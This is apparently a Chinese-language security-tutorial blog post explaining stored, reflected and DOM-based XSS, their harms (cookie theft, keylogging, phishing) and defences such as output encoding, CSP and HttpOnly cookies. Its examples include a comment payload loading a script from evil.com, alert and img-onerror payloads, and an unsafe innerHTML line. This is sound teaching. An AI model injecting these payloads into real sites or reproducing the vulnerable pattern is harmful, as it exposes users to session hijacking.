iT邦幫忙

2025 iThome 鐵人賽

DAY 19
0
Security

跨出第一步:D 從0到0.1的Web security 系列 第 19

• Day 18: 我的留言怎麼變成了惡意腳本?淺談 XSS

  • 分享至 

  • xImage
  •  

今天我們來深入探討 Web 安全中一個極為普遍且影響深遠的漏洞——XSS (Cross-Site Scripting),跨站腳本攻擊。

首先要澄清一個常見的誤解:XSS 攻擊的主要目標不是網站伺服器本身,而是網站的使用者。攻擊者利用一個受信任的網站作為平台,將惡意腳本注入其中,當其他使用者瀏覽該網站時,這些惡意腳本就會在他們的瀏覽器中執行,從而竊取他們的資訊或冒充他們進行操作。


XSS 的核心原理:信任的濫用

XSS 漏洞的根本原因在於:Web 應用程式將使用者提供的、未經充分處理的資料,直接嵌入到網頁的輸出中。

瀏覽器在解析 HTML 時,無法分辨一段腳本是網站開發者寫的合法功能,還是攻擊者注入的惡意程式碼。只要這段腳本是從它所信任的網域(例如 www.mybank.com)來的,它就會無條件地執行。XSS 正是利用了瀏覽器的這種信任機制。

一個簡單的比喻:
想像一家咖啡廳(受信任的網站)有一面公共留言板。

  • 正常情況:顧客在留言板上寫下祝福的話。
  • XSS 攻擊:一個攻擊者在留言板上寫下:「所有看到這條留言的人,請把你的錢包地址寫在下面」。
  • 受害者:其他顧客來到咖啡廳,看到留言板上的這句話,因為他們信任這家咖啡廳,所以他們可能會真的照做。

在這個比喻中,咖啡廳的失職之處在於沒有審核留言板的內容,讓惡意指令得以展示給其他顧客。


XSS 的三種類型

根據惡意腳本注入和觸發方式的不同,XSS 主要分為三種類型:

1. 儲存型 XSS (Stored / Persistent XSS) - 最危險

  • 運作方式:攻擊者將惡意腳本提交給網站,而網站將這段腳本永久性地儲存在後端資料庫中(例如,儲存在文章、留言、使用者個人資料等地方)。當任何使用者請求包含這段惡意腳本的頁面時,伺服器會從資料庫中讀取它,並將其作為正常內容發送給使用者的瀏覽器執行。
  • 觸發方式:使用者只需正常瀏覽被植入惡意腳本的頁面即可,無需任何其他互動。
  • 常見場景
    • 論壇的文章區、留言板
    • 電商網站的商品評論區
    • 社交網站的個人檔案頁面
  • 危險性:極高。一次成功的注入,可以持續性地攻擊所有瀏覽該頁面的使用者。

範例

  1. 攻擊者在一個部落格的留言區提交了一條留言:很棒的文章!<script src="http://evil.com/malicious.js"></script>
  2. 部落格後端未經過濾,就將這條留言存進了資料庫。
  3. 之後,任何訪問這篇文章的讀者,他們的瀏覽器都會載入並執行 malicious.js 這個惡意腳本。

2. 反射型 XSS (Reflected / Non-Persistent XSS) - 最常見

  • 運作方式:惡意腳本作為請求的一部分(通常是在 URL 的查詢參數中)發送給伺服器,伺服器未經驗證就直接將這段腳本**「反射」回傳到給使用者的 HTML 頁面中,導致腳本在當下立即執行。這個腳本不會**被儲存在伺服器端。
  • 觸發方式:需要誘騙使用者點擊一個精心建構的惡意連結或提交一個惡意表單。
  • 常見場景
    • 網站的搜尋功能(例如 search.php?query=...
    • 錯誤訊息提示頁面
    • 任何會將 URL 參數直接顯示在頁面上的地方

範例

  1. 一個網站的搜尋功能 URL 是 https://example.com/search?query=你好,頁面上會顯示「您搜尋的關鍵字是:你好」。
  2. 攻擊者建構了一個惡意 URL:https://example.com/search?query=<script>alert('XSS')</script>
  3. 攻擊者透過釣魚郵件或社交媒體,誘騙受害者點擊這個連結。
  4. 受害者點擊後,伺服器會回傳一個包含 <script>alert('XSS')</script> 的頁面,瀏覽器解析後就會執行這段腳本,彈出一個警告框。

3. DOM 型 XSS (DOM-based XSS)

  • 運作方式:這是一種更現代的 XSS 類型。惡意腳本的注入和執行完全發生在客戶端 (瀏覽器),伺服器端可能完全沒有接觸到惡意腳本。它通常是由於頁面上的 JavaScript 程式碼,不安全地處理了來自 DOM (文件物件模型) 的資料(例如 URL fragment # 後的內容)所導致的。
  • 觸發方式:與反射型類似,通常也需要誘騙使用者點擊惡意連結。
  • 常見場景
    • 大量使用前端 JavaScript 框架 (如 React, Vue, Angular) 的單頁應用程式 (SPA)。
    • 頁面內容會根據 URL 中的 # anchor 變化的地方。

範例

  1. 一個網頁的 JavaScript 會讀取 URL hash 的值來歡迎使用者,URL 為 https://example.com/welcome#David,頁面會顯示「Welcome, David」。
  2. 不安全的 JavaScript 程式碼可能像這樣:document.getElementById('welcome-msg').innerHTML = "Welcome, " + location.hash.substring(1);
  3. 攻擊者建構惡意 URL:https://example.com/welcome#<img src=1 onerror=alert('XSS')>
  4. 當受害者訪問此 URL 時,客戶端的 JavaScript 會讀取 # 後的 HTML,並將其寫入頁面 DOM 中,導致 onerror 事件中的惡意腳本被執行。

XSS 的危害:攻擊者能做什麼?

一旦惡意腳本在受害者的瀏覽器中執行,攻擊者就能:

  1. 竊取 Session Cookie (Session Hijacking):這是 XSS 最主要、最嚴重的危害。攻擊者可以竊取使用者的會話 Cookie,然後用它來冒充使用者登入帳號,進行任何使用者可以進行的操作(如轉帳、修改密碼、查看隱私資料)。
  2. 鍵盤側錄 (Keylogging):監聽使用者在頁面上的所有鍵盤輸入,竊取密碼、信用卡號等敏感資訊。
  3. 網路釣魚 (Phishing):在受信任的頁面中動態插入一個假的登入表單,騙取使用者的帳號密碼。
  4. 網站篡改 (Defacement):修改頁面內容,破壞網站形象。
  5. 執行任意操作:利用受害者的登入狀態,代表他們執行發文、刪除資料、購物等操作。
  6. 將使用者重新導向到惡意網站

如何防禦 XSS?

防禦 XSS 的核心原則是永不信任任何來自使用者的輸入,並採取多層次防禦策略。

  1. 輸出編碼 (Output Encoding) - 最根本的防禦
    在將任何使用者提供的資料輸出到 HTML 頁面之前,對其進行情境感知編碼 (Context-Aware Encoding)。這是為了告訴瀏覽器:「嘿,這段文字只是純粹的文字,請不要把它當作程式碼來執行。」

    • 在 HTML 標籤內顯示:將特殊字元如 < 編碼為 &lt;> 編碼為 &gt;
    • 在 JavaScript 變數中顯示:進行 JavaScript Unicode 轉義。
    • 應使用成熟的函式庫 (如 OWASP ESAPI) 來處理,而不是自己寫規則。
  2. 輸入驗證 (Input Validation)
    對使用者的輸入,根據預期的格式進行嚴格的驗證(白名單機制)。例如,電話號碼欄位只應接受數字,年齡欄位只應接受 1-3 位數字。雖然這能過濾掉一些明顯的攻擊,但它不能作為唯一的防禦手段。

  3. 內容安全策略 (Content Security Policy, CSP)
    這是一個非常強大的防禦機制。透過設定一個 HTTP 回應標頭,你可以告訴瀏覽器只信任並執行來自特定來源的腳本。CSP 可以有效地禁止行內腳本 (inline script) 和 eval() 的使用,即使攻擊者成功注入了腳本,瀏覽器也會因為 CSP 規則而拒絕執行它。

  4. 設定 HttpOnly Cookie 旗標
    在設定 Session Cookie 時,加上 HttpOnly 旗標。這樣一來,瀏覽器將禁止頁面上的 JavaScript 存取這個 Cookie。這無法防止 XSS 漏洞,但可以極大地緩解其最主要的危害——Session Hijacking。

所以XSS 是一個潛伏在 Web 應用程式中的幽靈,它利用網站對使用者的信任來攻擊使用者。開發者必須時刻保持警惕,遵循「輸入驗證,輸出編碼」的黃金法則,並配合 CSP 等現代安全策略,才能有效地保護使用者免受其害。


上一篇
Day 17: 網站的最高權限!什麼是 RCE (遠端程式碼執行)?
下一篇
Day 19: 借刀殺人:淺談 CSRF (跨站請求偽造) 與 SSRF (伺服器端請求偽造)
系列文
跨出第一步:D 從0到0.1的Web security 20
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言